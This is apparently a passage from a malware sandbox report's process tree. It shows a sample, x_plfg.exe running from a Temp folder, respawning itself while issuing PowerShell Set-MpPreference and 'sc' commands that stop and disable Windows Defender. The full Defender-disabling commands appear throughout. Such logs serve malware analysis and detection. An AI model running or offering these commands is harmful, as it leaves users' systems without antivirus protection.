        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        92⤵
        
        PID:30856
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        93⤵
        
        PID:25840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        90⤵
        
        PID:39036
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        91⤵
        
        PID:43096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        88⤵
        
        PID:18264
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        89⤵
        
        PID:21644
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        90⤵
        
        PID:30892
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        91⤵
        
        PID:3132
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        86⤵
        
        PID:17736
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        87⤵
        
        PID:21136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        88⤵
        
        PID:30816
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        89⤵
        
        PID:33512
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        86⤵
        
        PID:35644
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        87⤵
        
        PID:40280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        84⤵
        
        PID:17464
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        85⤵
        
        PID:20384
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        86⤵
        
        PID:28568
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        87⤵
        
        PID:20584
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        84⤵
        
        PID:35036
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        85⤵
        
        PID:19892
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        82⤵
        
        PID:17300
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        83⤵
        
        PID:20452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        84⤵
        
        PID:28560
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        85⤵
        
        PID:31016
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        82⤵
        
        PID:35028
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        83⤵
        
        PID:40640
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        80⤵
        
        PID:17304
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        81⤵
        
        PID:20044
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        82⤵
        
        PID:26276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        83⤵
        
        PID:29952
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        80⤵
        
        PID:33764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        81⤵
        
        PID:39424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        78⤵
        
        PID:17008
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        79⤵
        
        PID:19756
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        80⤵
        
        PID:26284
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        81⤵
        
        PID:30080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        78⤵
        
        PID:34252
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        79⤵
        
        PID:38472
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        76⤵
        
        PID:16808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        
        PID:20552
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        78⤵
        
        PID:29004
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        79⤵
        
        PID:30432
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        76⤵
        
        PID:33676
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        
        PID:39956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        74⤵
        
        PID:16500
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:19048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        76⤵
        
        PID:1540
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        
        PID:27548
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        76⤵
        
        PID:42404
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        74⤵
        
        PID:33724
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:41192
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        72⤵
        
        PID:16428
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:19116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        74⤵
        
        PID:21680
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:22808
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        72⤵
        
        PID:33716
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:39964
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        70⤵
        
        PID:16348
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        
        PID:18728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        72⤵
        
        PID:18328
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:24916
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        74⤵
        
        PID:43712
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        72⤵
        
        PID:40032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        70⤵
        
        PID:33144
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        
        PID:10920
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        68⤵
        
        PID:16240
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:18540
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        70⤵
        
        PID:21688
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        
        PID:25584
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        68⤵
        
        PID:1960
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:35748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        66⤵
        
        PID:15696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:17644
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        68⤵
        
        PID:20036
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:23136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        68⤵
        
        PID:38900
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        66⤵
        
        PID:31832
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:32684
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        64⤵
        
        PID:14128
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:17176
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        66⤵
        
        PID:19660
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:22892
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        68⤵
        
        PID:33816
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:35436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        64⤵
        
        PID:256
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:38344
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        62⤵
        
        PID:15248
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:4252
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        64⤵
        
        PID:19076
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:24476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        66⤵
        
        PID:42208
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        64⤵
        
        PID:38840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:20512
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        62⤵
        
        PID:30840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:31860
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        60⤵
        
        PID:14972
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:16408
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        62⤵
        
        PID:17864
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:20980
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        64⤵
        
        PID:29672
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:4160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        62⤵
        
        PID:38728
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:28704
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        60⤵
        
        PID:23672
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:34532
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        58⤵
        
        PID:14908
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:16492
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        60⤵
        
        PID:18400
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:22184
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        62⤵
        
        PID:34712
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:40956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        58⤵
        
        PID:30868
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:2700
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        56⤵
        
        PID:14848
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:16548
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        58⤵
        
        PID:18272
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:19744
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        60⤵
        
        PID:30808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:31960
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        56⤵
        
        PID:30024
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:31088
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        54⤵
        
        PID:14544
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:16300
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        56⤵
        
        PID:17856
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:20884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        58⤵
        
        PID:29664
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:31360
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        56⤵
        
        PID:38736
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:41240
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        54⤵
        
        PID:29680
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:31352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        52⤵
        
        PID:14484
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:16224
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        54⤵
        
        PID:17752
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:21824
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        56⤵
        
        PID:1768
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:40624
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        54⤵
        
        PID:7476
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:42248
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        52⤵
        
        PID:27380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:33372
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:14140
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:16116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        52⤵
        
        PID:17560
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:22732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        54⤵
        
        PID:38004
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:42056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        52⤵
        
        PID:35044
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:40876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        50⤵
        
        PID:29776
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:33032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:13356
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:15980
        
        C:\Windows\System32\cmd.exe
        
